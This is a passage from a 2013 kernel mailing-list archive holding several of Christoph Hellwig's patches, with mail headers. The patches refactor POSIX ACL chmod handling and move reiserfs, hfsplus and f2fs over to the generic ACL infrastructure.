gfs2_setattr_simple(inode, attr); - error = posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); + error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); if (error) return error; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index b609cc1..cab5fd6 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -167,7 +167,7 @@ int hfsplus_posix_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - err = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + err = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (unlikely(err)) return err; diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 223283c..5853969 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -335,7 +335,7 @@ int jffs2_acl_chmod(struct inode *inode) acl = jffs2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (rc) return rc; rc = jffs2_set_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index d254d6d..9c0fca8 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -161,7 +161,7 @@ int jfs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (rc) return rc; diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index b4f788e..73ccf0e 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -350,7 +350,7 @@ int ocfs2_acl_chmod(struct inode *inode) acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (ret) return ret; ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, diff --git a/fs/posix_acl.c b/fs/posix_acl.c index f2c48f8..bc5b4f8 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -338,7 +338,7 @@ static int posix_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) /* * Modify the ACL for the chmod syscall. */ -static int posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) +static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) { struct posix_acl_entry *group_obj = NULL, *mask_obj = NULL; struct posix_acl_entry *pa, *pe; @@ -402,12 +402,12 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) EXPORT_SYMBOL(posix_acl_create); int -posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) +__posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) { struct posix_acl *clone = posix_acl_clone(*acl, gfp); int err = -ENOMEM; if (clone) { - err = posix_acl_chmod_masq(clone, mode); + err = __posix_acl_chmod_masq(clone, mode); if (err) { posix_acl_release(clone); clone = NULL; @@ -417,6 +417,30 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) *acl = clone; return err; } +EXPORT_SYMBOL(__posix_acl_chmod); + +int +posix_acl_chmod(struct inode *inode) +{ + struct posix_acl *acl; + int ret = 0; + + if (S_ISLNK(inode->i_mode) || !inode->i_op->set_acl) + return -EOPNOTSUPP; + if (!IS_POSIXACL(inode)) + return 0; + + acl = get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR_OR_NULL(acl)) + return PTR_ERR(acl); + + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + if (ret) + return ret; + ret = inode->i_op->set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + return ret; +} EXPORT_SYMBOL(posix_acl_chmod); struct posix_acl *get_acl(struct inode *inode, int type) diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index 6f721ea..ea4e443 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -463,7 +463,7 @@ int reiserfs_acl_chmod(struct inode *inode) return 0; if (IS_ERR(acl)) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); if (error) return error; diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 370eb3e..4eac105 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -334,7 +334,7 @@ xfs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index a8d9918..8b64e78 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -89,12 +89,14 @@ extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); -extern int posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); +extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); extern struct posix_acl *get_posix_acl(struct inode *, int); extern int set_posix_acl(struct inode *, int, struct posix_acl *); #ifdef CONFIG_FS_POSIX_ACL +extern int posix_acl_chmod(struct inode *); + static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { @@ -165,15 +167,22 @@ static inline void forget_all_cached_acls(struct inode *inode) if (old_default != ACL_NOT_CACHED) posix_acl_release(old_default); } -#endif static inline void cache_no_acl(struct inode *inode) { -#ifdef CONFIG_FS_POSIX_ACL inode->i_acl = NULL; inode->i_default_acl = NULL; -#endif } +#else +static inline int posix_acl_chmod(struct inode *inode) +{ + return 0; +} + +static inline void cache_no_acl(struct inode *inode) +{ +} +#endif /* CONFIG_FS_POSIX_ACL */ struct posix_acl *get_acl(struct inode *inode, int type); -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 497F78018 for ; Wed, 11 Dec 2013 04:45:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 36DDA30406A for ; Wed, 11 Dec 2013 02:45:40 -0800 (PST) X-ASG-Debug-ID: 1386758739-04cbb041686a5b70001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id rQp6f5KcgoL8TJju (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIE-0008Hh-J5; Wed, 11 Dec 2013 10:45:26 +0000 Message-Id: <20131211104526.454638090@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:44 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 01/18] reiserfs: prefix ACL symbols with reiserfs_ References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 01/18] reiserfs: prefix ACL symbols with reiserfs_ Content-Disposition: inline; filename=0001-reiserfs-prefix-ACL-symbols-with-reiserfs_.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758739 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/reiserfs/xattr_acl.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index 06c04f7..6f721ea 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -16,7 +16,7 @@ static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct posix_acl *acl); static int -posix_acl_set(struct dentry *dentry, const char *name, const void *value, +reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int type) { struct inode *inode = dentry->d_inode; @@ -65,7 +65,7 @@ posix_acl_set(struct dentry *dentry, const char *name, const void *value, } static int -posix_acl_get(struct dentry *dentry, const char *name, void *buffer, +reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, size_t size, int type) { struct posix_acl *acl; @@ -88,7 +88,7 @@ posix_acl_get(struct dentry *dentry, const char *name, void *buffer, /* * Convert from filesystem to in-memory representation. */ -static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) +static struct posix_acl *reiserfs_posix_acl_from_disk(const void *value, size_t size) { const char *end = (char *)value + size; int n, count; @@ -158,7 +158,7 @@ static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) /* * Convert from in-memory to filesystem representation. */ -static void *posix_acl_to_disk(const struct posix_acl *acl, size_t * size) +static void *reiserfs_posix_acl_to_disk(const struct posix_acl *acl, size_t * size) { reiserfs_acl_header *ext_acl; char *e; @@ -257,7 +257,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) } else if (retval < 0) { acl = ERR_PTR(retval); } else { - acl = posix_acl_from_disk(value, retval); + acl = reiserfs_posix_acl_from_disk(value, retval); } if (!IS_ERR(acl)) set_cached_acl(inode, type, acl); @@ -307,7 +307,7 @@ reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, } if (acl) { - value = posix_acl_to_disk(acl, &size); + value = reiserfs_posix_acl_to_disk(acl, &size); if (IS_ERR(value)) return (int)PTR_ERR(value); } @@ -499,8 +499,8 @@ static size_t posix_acl_access_list(struct dentry *dentry, char *list, const struct xattr_handler reiserfs_posix_acl_access_handler = { .prefix = POSIX_ACL_XATTR_ACCESS, .flags = ACL_TYPE_ACCESS, - .get = posix_acl_get, - .set = posix_acl_set, + .get = reiserfs_posix_acl_get, + .set = reiserfs_posix_acl_set, .list = posix_acl_access_list, }; @@ -519,7 +519,7 @@ static size_t posix_acl_default_list(struct dentry *dentry, char *list, const struct xattr_handler reiserfs_posix_acl_default_handler = { .prefix = POSIX_ACL_XATTR_DEFAULT, .flags = ACL_TYPE_DEFAULT, - .get = posix_acl_get, - .set = posix_acl_set, + .get = reiserfs_posix_acl_get, + .set = reiserfs_posix_acl_set, .list = posix_acl_default_list, }; -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 571E38012 for ; Wed, 11 Dec 2013 04:45:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4544C30406B for ; Wed, 11 Dec 2013 02:45:40 -0800 (PST) X-ASG-Debug-ID: 1386758738-04cbb041696a5b60001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id QZaO2uA1Gs2HnCAH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIG-0008Mv-8f; Wed, 11 Dec 2013 10:45:28 +0000 Message-Id: <20131211104528.172529459@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:53 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Vyacheslav Dubeyko Subject: [PATCH 10/18] hfsplus: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 10/18] hfsplus: use generic posix ACL infrastructure Content-Disposition: inline; filename=0010-hfsplus-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig Reviewed-by: Vyacheslav Dubeyko --- fs/hfsplus/acl.h | 9 +-- fs/hfsplus/dir.c | 1 + fs/hfsplus/inode.c | 3 +- fs/hfsplus/posix_acl.c | 168 +++++------------------------------------------- fs/hfsplus/xattr.c | 5 +- fs/hfsplus/xattr.h | 2 - 6 files changed, 26 insertions(+), 162 deletions(-) diff --git a/fs/hfsplus/acl.h b/fs/hfsplus/acl.h index 07c0d49..95c8ed9 100644 --- a/fs/hfsplus/acl.h +++ b/fs/hfsplus/acl.h @@ -12,16 +12,13 @@ /* posix_acl.c */ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type); -extern int hfsplus_posix_acl_chmod(struct inode *); +int hfsplus_set_posix_acl(struct inode *inode, struct posix_acl *acl, + int type); extern int hfsplus_init_posix_acl(struct inode *, struct inode *); #else /* CONFIG_HFSPLUS_FS_POSIX_ACL */ #define hfsplus_get_posix_acl NULL - -static inline int hfsplus_posix_acl_chmod(struct inode *inode) -{ - return 0; -} +#define hfsplus_set_posix_acl NULL static inline int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) { diff --git a/fs/hfsplus/dir.c b/fs/hfsplus/dir.c index 4a4fea0..9ee6298 100644 --- a/fs/hfsplus/dir.c +++ b/fs/hfsplus/dir.c @@ -532,6 +532,7 @@ const struct inode_operations hfsplus_dir_inode_operations = { .removexattr = hfsplus_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, + .set_acl = hfsplus_set_posix_acl, #endif }; diff --git a/fs/hfsplus/inode.c b/fs/hfsplus/inode.c index 37213d0..2e10993 100644 --- a/fs/hfsplus/inode.c +++ b/fs/hfsplus/inode.c @@ -319,7 +319,7 @@ static int hfsplus_setattr(struct dentry *dentry, struct iattr *attr) mark_inode_dirty(inode); if (attr->ia_valid & ATTR_MODE) { - error = hfsplus_posix_acl_chmod(inode); + error = posix_acl_chmod(inode, inode->i_mode); if (unlikely(error)) return error; } @@ -393,6 +393,7 @@ static const struct inode_operations hfsplus_file_inode_operations = { .removexattr = hfsplus_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, + .set_acl = hfsplus_set_posix_acl, #endif }; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index 277942f..df0c9af 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -17,9 +17,7 @@ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type) char *value = NULL; ssize_t size; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; + hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino); switch (type) { case ACL_TYPE_ACCESS: @@ -56,17 +54,15 @@ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type) return acl; } -static int hfsplus_set_posix_acl(struct inode *inode, - int type, - struct posix_acl *acl) +int hfsplus_set_posix_acl(struct inode *inode, struct posix_acl *acl, + int type) { int err; char *xattr_name; size_t size = 0; char *value = NULL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; + hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino); switch (type) { case ACL_TYPE_ACCESS: @@ -115,7 +111,7 @@ end_set_acl: int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) { int err = 0; - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; hfs_dbg(ACL_MOD, "[%s]: ino %lu, dir->ino %lu\n", @@ -124,151 +120,21 @@ int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) if (S_ISLNK(inode->i_mode)) return 0; - acl = hfsplus_get_posix_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (acl) { - if (S_ISDIR(inode->i_mode)) { - err = hfsplus_set_posix_acl(inode, - ACL_TYPE_DEFAULT, - acl); - if (unlikely(err)) - goto init_acl_cleanup; - } - - err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (unlikely(err < 0)) - return err; - - if (err > 0) - err = hfsplus_set_posix_acl(inode, - ACL_TYPE_ACCESS, - acl); - } else - inode->i_mode &= ~current_umask(); - -init_acl_cleanup: - posix_acl_release(acl); - return err; -} - -int hfsplus_posix_acl_chmod(struct inode *inode) -{ - int err; - struct posix_acl *acl; - - hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino); - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = hfsplus_get_posix_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - err = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (unlikely(err)) + err = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (err) return err; - err = hfsplus_set_posix_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return err; -} - -static int hfsplus_xattr_get_posix_acl(struct dentry *dentry, - const char *name, - void *buffer, - size_t size, - int type) -{ - int err = 0; - struct posix_acl *acl; - - hfs_dbg(ACL_MOD, - "[%s]: ino %lu, buffer %p, size %zu, type %#x\n", - __func__, dentry->d_inode->i_ino, buffer, size, type); - - if (strcmp(name, "") != 0) - return -EINVAL; - - acl = hfsplus_get_posix_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - err = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return err; -} - -static int hfsplus_xattr_set_posix_acl(struct dentry *dentry, - const char *name, - const void *value, - size_t size, - int flags, - int type) -{ - int err = 0; - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - - hfs_dbg(ACL_MOD, - "[%s]: ino %lu, value %p, size %zu, flags %#x, type %#x\n", - __func__, inode->i_ino, value, size, flags, type); - - if (strcmp(name, "") != 0) - return -EINVAL; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - err = posix_acl_valid(acl); - if (err) - goto end_xattr_set_acl; - } + if (default_acl) { + err = hfsplus_set_posix_acl(inode, default_acl, + ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); } - err = hfsplus_set_posix_acl(inode, type, acl); - -end_xattr_set_acl: - posix_acl_release(acl); + if (acl) { + if (!err) + err = hfsplus_set_posix_acl(inode, acl, + ACL_TYPE_ACCESS); + posix_acl_release(acl); + } return err; } - -static size_t hfsplus_xattr_list_posix_acl(struct dentry *dentry, - char *list, - size_t list_size, - const char *name, - size_t name_len, - int type) -{ - /* - * This method is not used. - * It is used hfsplus_listxattr() instead of generic_listxattr(). - */ - return -EOPNOTSUPP; -} - -const struct xattr_handler hfsplus_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = hfsplus_xattr_list_posix_acl, - .get = hfsplus_xattr_get_posix_acl, - .set = hfsplus_xattr_set_posix_acl, -}; - -const struct xattr_handler hfsplus_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = hfsplus_xattr_list_posix_acl, - .get = hfsplus_xattr_get_posix_acl, - .set = hfsplus_xattr_set_posix_acl, -}; diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c index 3c6136f..bf88baa 100644 --- a/fs/hfsplus/xattr.c +++ b/fs/hfsplus/xattr.c @@ -7,6 +7,7 @@ */ #include "hfsplus_fs.h" +#include #include "xattr.h" #include "acl.h" @@ -15,8 +16,8 @@ const struct xattr_handler *hfsplus_xattr_handlers[] = { &hfsplus_xattr_user_handler, &hfsplus_xattr_trusted_handler, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL - &hfsplus_xattr_acl_access_handler, - &hfsplus_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &hfsplus_xattr_security_handler, NULL diff --git a/fs/hfsplus/xattr.h b/fs/hfsplus/xattr.h index 841b569..9e21449 100644 --- a/fs/hfsplus/xattr.h +++ b/fs/hfsplus/xattr.h @@ -14,8 +14,6 @@ extern const struct xattr_handler hfsplus_xattr_osx_handler; extern const struct xattr_handler hfsplus_xattr_user_handler; extern const struct xattr_handler hfsplus_xattr_trusted_handler; -extern const struct xattr_handler hfsplus_xattr_acl_access_handler; -extern const struct xattr_handler hfsplus_xattr_acl_default_handler; extern const struct xattr_handler hfsplus_xattr_security_handler; extern const struct xattr_handler *hfsplus_xattr_handlers[]; -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4CCA5801C for ; Wed, 11 Dec 2013 04:45:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3880C8F8049 for ; Wed, 11 Dec 2013 02:45:42 -0800 (PST) X-ASG-Debug-ID: 1386758740-04cbb041676a5b70001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 09t9AwhtbFMnz7eI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:41 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIG-0008M5-3m; Wed, 11 Dec 2013 10:45:28 +0000 Message-Id: <20131211104528.029931306@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:52 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jaegeuk Kim Subject: [PATCH 09/18] f2fs: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 09/18] f2fs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0009-f2fs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758741 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 f2fs has some weird mode bit handling, so still using the old chmod code for now. Signed-off-by: Christoph Hellwig Reviewed-by: Jaegeuk Kim --- fs/f2fs/acl.c | 174 ++++++------------------------------------------------- fs/f2fs/acl.h | 7 +-- fs/f2fs/f2fs.h | 4 ++ fs/f2fs/file.c | 3 +- fs/f2fs/namei.c | 2 + fs/f2fs/xattr.c | 9 +-- fs/f2fs/xattr.h | 2 - 7 files changed, 31 insertions(+), 170 deletions(-) diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 45e8430..fa8da4c 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -17,9 +17,6 @@ #include "xattr.h" #include "acl.h" -#define get_inode_mode(i) ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ - (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) - static inline size_t f2fs_acl_size(int count) { if (count <= 4) { @@ -167,19 +164,11 @@ fail: struct posix_acl *f2fs_get_acl(struct inode *inode, int type) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); int name_index = F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT; void *value = NULL; struct posix_acl *acl; int retval; - if (!test_opt(sbi, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl 